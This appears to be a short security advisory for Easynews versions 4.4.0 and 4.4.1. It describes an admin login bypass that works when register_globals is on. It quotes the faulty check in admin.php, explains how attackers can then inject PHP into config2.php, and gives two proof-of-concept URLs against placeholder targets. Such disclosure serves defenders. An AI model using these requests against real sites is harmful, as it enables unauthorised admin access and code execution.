+ Details:
+ Easynews doesn't properly check to ensure an administrator has been logged in with correct
+ username and password information, it only checks if $admin[$en_login_id] == "true".
+ 
+ Tested and working on version 4.4.0 and 4.4.1 (previous versions may also be affected)
+ with register_globals = On, after bypassing the login check administrators have the option
+ to edit config2.php (PHP code can be inserted then executed by visiting config2.php directly
+ or any other script that includes config2.php) and other general settings.
+ 
+ Vulnerable Code:
+ admin.php, line(s) 22: if(@$admin[$en_login_id] == "true") //admin is logged in successfuly
+ 
+ Proof Of Concept:
+ http://[target]/[path]/admin.php?action=users&en_login_id=0
+ http://[target]/[path]/admin.php?action=config&en_login_id=0
